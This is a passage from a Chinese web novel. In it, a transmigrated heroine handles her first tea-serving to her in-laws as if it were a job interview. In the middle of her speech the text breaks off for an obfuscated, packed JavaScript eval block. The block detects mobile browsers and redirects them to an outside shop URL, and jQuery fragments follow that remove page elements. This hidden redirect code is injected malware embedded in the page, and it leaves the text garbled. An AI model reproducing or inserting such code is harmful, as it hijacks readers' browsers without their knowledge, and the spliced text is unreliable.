外面传来乱梆子的声音,五更天了。
“娘子,该起了。”
淮叶睡得正香,听到耳边有人说话,以为是闹铃响了,伸手便往枕头下摸去,可摸了半天,什么也没有。
“娘子,待会儿还要拜访舅姑。”绿矾又催了一遍。
淮叶一个激灵坐起。
-
铜镜前。
绿矾和橘矾给淮叶梳发髻,金钗,金步摇,金簪……一个接一个往头上插。
淮叶赶忙叫停两人,再这么插下去,她头得重死:“只插这个金钗就好了。”
绿矾和橘矾对视一眼,提醒道:“娘子,只插金钗的话,怕是太素。今日可是敬茶的日子,万不可叫人看轻了去。如今府上对娘子议论纷纷,娘子若是打扮的太素,岂不落人口实。”
淮叶笑了下:“难不成我满头金钗金簪就能改变别人对我的印象了?”
绿矾和橘矾思索后摇了摇头,府上的人只会说娘子以前穷惯了,现在突然富了,恨不得把所有首饰戴在头上。
两人默默取下发髻上的金步摇和金簪:“娘子,是婢子们考虑不周。”
淮叶正要宽慰两人,外面传来黄矾的声音。
“娘子,娘子,不好了!大事不好了!”黄矾气喘吁吁的跑进来。
绿矾皱眉:“什么事,如此匆忙?”
黄矾猛喝了口水,气息稍微缓下来后说:“是三郎。”
橘矾一听:“三郎?难不成昨晚的事府上知道了?”
黄矾摇头道:“昨晚的事哪能瞒得住?是一件更糟糕的事!”
橘矾一听,心都揪住了,更糟糕的事?她可怜的娘子啊,这么好的一个人,竟要遭受这些!
粉矾小脸皱成一团:“到底什么事呀?”
黄矾一脸气愤道:“是三郎走了。”
橘矾一惊:“走了?什么意思?”
绿矾沉稳道:“说清楚一点。”
黄矾又喝了口水,稳住气息道:“三郎一大早就跟老夫人拜别,说有急事要处理,骑着马走了,听说是——”
说到这里,她看了眼淮叶,似乎不知道该说还是不该说。
淮叶垂眸:“继续说。”
黄矾这才敢说出来:“是长安那边的消息。”穆家在长安那边只有一个亲戚,便是柳娘子,所以,三郎口中的急事很清晰了。
橘矾拧眉道:“柳娘子不是嫁到定国伯府了吗!怎会选这个时间——”
黄矾竹筒倒豆子似的说道:“谁说不是呢!我看这个柳娘子就是诚心给娘子添堵!选什么时间不好,非得在今天!气死人了!”
绿矾担忧地看了眼淮叶。
淮叶不由地替原主感到生气,对方原本可以平淡幸福的过完一生,结果因为男主的野心趟进了这趟浑水。
其他人也围过来担忧道:“娘子。”
淮叶眼神渐渐平静:“给我更衣,别被这点小事影响到了心情。”
-
敬茶地点在福慧堂。
出了食野苹,往东转弯,是一处假山亭阁,轩昂壮丽,行约五百米,再穿过一个抄手游廊,便到了福慧堂。
淮叶呼出一口气:终于到了。
橘衣拿手帕给淮叶擦了擦汗,仔细检查了一边妆容,毕竟是娘子第一次见舅姑,可不能出一点差错,确保没问题后,她悬着的心总算踏实点了。
然而绿矾眼皮子直跳,娘子事先没练习过,只是听她们几个说了几嘴,真的没问题吗,她有些不放心。
淮叶却放心的很。
敬茶就是一场变相的面试,她虽然不熟悉敬茶,但十分擅长面试。
面试,关键在于清楚对方想要什么样的人,然后通过语言、姿态、行为向对方传达,自己就是这样的人。
在淮叶看来,穆府想要的,是一个贤惠、懂事、孝顺的儿/孙媳妇儿。
进了福慧堂,一排人已经等着了,压迫感极强。
淮叶不动声色打量了一番。
老夫人,穆府最高领导,负责主持穆府全局工作;穆宁德、穆宁义和穆宁海,穆府次级领导,分管穆府马匹、粮食、药材、丝绸、茶叶、香料、珠宝等产业;大夫人,协助老夫人管理内宅,负责丫鬟婆子月钱的发放、红白喜事的操办、家族关系网的维护、子孙的教育等;二夫人、三夫人则负责分管各自小单位。
她规规矩矩行了个礼。
李絮柔见到这一幕,想起了自己敬茶时的场景,说一句胆颤心惊也不为过,她心里不由为淮叶捏一把汗。
孙溪云在一旁看好戏,三郎也忒不怜香惜玉了,竟一大清早撇下新妇走了,这下看新妇怎么办,可别没忍不住哭了呀,老夫人最烦哭哭啼啼的人了。
众人看向淮叶的目光带着两分怜悯、三分好奇和五分幸灾乐祸。
淮叶行完礼,道:“三郎没能来是新妇之过,请祖母、舅姑责罚。”
孙溪云眼里闪过惊讶,这新妇脑子是不是有毛病啊?非但没生三郎的气,还把过错揽到自己身上!
李絮柔却清楚淮叶这么做的用意,以退为进。
府上都知道三郎一大清早走了,这难道是弟妹的错吗?当然不是!但弟妹这么说,很难不让人心生好感。反之,如果弟妹抱怨三郎的不是才不是一个好的办法,毕竟三郎再怎么不是,也是穆家人。
老夫人点点头:“是个贤惠的。”
三夫人随后说:“好孩子,起来说话吧。”
淮叶福身谢过。
大夫人扫了眼淮叶的装扮,伸手抚了下头上的鎏金银花树钗,明知故问道:“听闻你家中贫苦,不知是真是假。”
此言一出,大家方才对淮叶产生的好感立马代之以轻视和蔑视,觉得淮叶不配跟他们坐在一起。
三夫人喝了口茶,完全没有为自己儿媳解围的打算,一副事不关己的姿态。
穆宁昌更是,他连亲儿子都不当回事,更何况是儿媳,他正打瞌睡呢,大概昨晚在乐坊玩到了很晚。
淮叶一笑,考题越刁钻她越兴奋。
她不紧不慢回答道:“阿耶以教书为生,又有佣书之财,可维持生计。更何况,阿耶常讲颜回‘一箪食,一瓢饮,在陋巷,人不堪其忧,回也不改其乐’,新妇以为,安贫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717059|144782||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
乐道是一种正心之路——”
穆宁昌听到“正心”二字,立马清醒了,这不是老夫人从小到大在他们耳边念叨的词吗!
淮叶停顿完,话锋一转,拍起了穆家人的马屁,大意是如果没有穆家人,她还在陋巷谋生计,总结道:“穆家仁德仁义,新妇铭记在心。”
孙溪云真觉得新妇脑子不好,结亲是三郎的主意又不是穆家人的主意,不感谢自己郎君感谢大伙儿?真是好笑!还有,她舅姑为敛财不择手段,哪里担得起仁义二字,夸人前也不打听仔细点。
大夫人原本还想说什么,可“仁德仁义”的帽子一戴,到嘴边的话又咽了回去。
穆宁德听到这话很高兴,对于三郎报恩这事,他窝了一肚子火,本来他名声就差,三郎搞这么一出,老夫人对他更不满意了,如今听到侄媳把“报恩”的功劳归到他身上,他心情很美妙,夸了淮叶一句“懂事”。
寒暄过后,便进入正式环节。
淮叶按照绿矾几个告诉她的,跪地,持茶杯中下部,双手奉上,改口阿耶阿娘,之后舅姑喝茶,对新婚夫妇说祝福语,敬茶就算完成了。
然而到了送祝福的环节,穆宁昌和三夫人根本开不了口,因为穆清临不在。
淮叶没让穆宁昌夫妻俩为难,恭敬道:“从今往后,新妇定事舅姑如事父母,鸡初鸣,咸盥漱……以适舅姑之所,及所,下气怡声,问衣燠寒,疾痛苛痒,而敬抑搔之。出入,则或先或后,而敬扶持之。进盥,少者奉盘,长者奉水,请沃盥,盥卒授巾。问所欲而敬进之,柔色以温之……舅姑必尝之而后退[1]。”
三夫人来了兴致:“你读过《礼记》?”
淮叶恭敬回答道:“读过一点。”
这一来是谦虚,二来是她还没有完全消化掉原主储存在脑子里的古文,刚才那一段是她提前准备好的。面试不仅考察一个人灵活应变的能力,还考察一个人用心准备的程度,如何孝敬公婆算得上敬茶必答题。
三夫人点了点头。
穆宁昌也跟着点了点头,这倒不是因为他很满意淮叶说的那些孝敬公婆的话,而是因为佩服淮叶竟然让他重温了听先生讲经书时的感受——那叫一个煎熬,但这话不能说出来,他摸了摸胡子:“古人云,百善孝为先,是个孝顺孩子。”
三夫人见穆宁昌极力表现出有学问的样子,优雅地翻了个白眼。
穆宁昌没察觉,他乐呵呵对淮叶道:“别跪着了,起来吧。”
淮叶谢过,起身的时候,她不由想:这场面试九十分应该没问题。
这时,老夫人给婆子使了个眼神。
婆子会意,举托盘对淮叶道:“这是老夫人赏你的银鎏金花卉鸾鸟钗、鸳鸯金钗首、金镶玉步摇、宝相花细头佃。”
淮叶愣了下,接着叩谢:“谢祖母赏赐。”又道:“祖母,新妇德薄才鲜,听闻祖母博闻多识、宅心仁厚,新妇愿在您面前受些教诲。”
老夫人不语。
淮叶表情愈发恭敬:“若能在您跟前服侍,是新妇莫大的福分。”
老夫人这才发话:“起来吧,后日来正心堂。”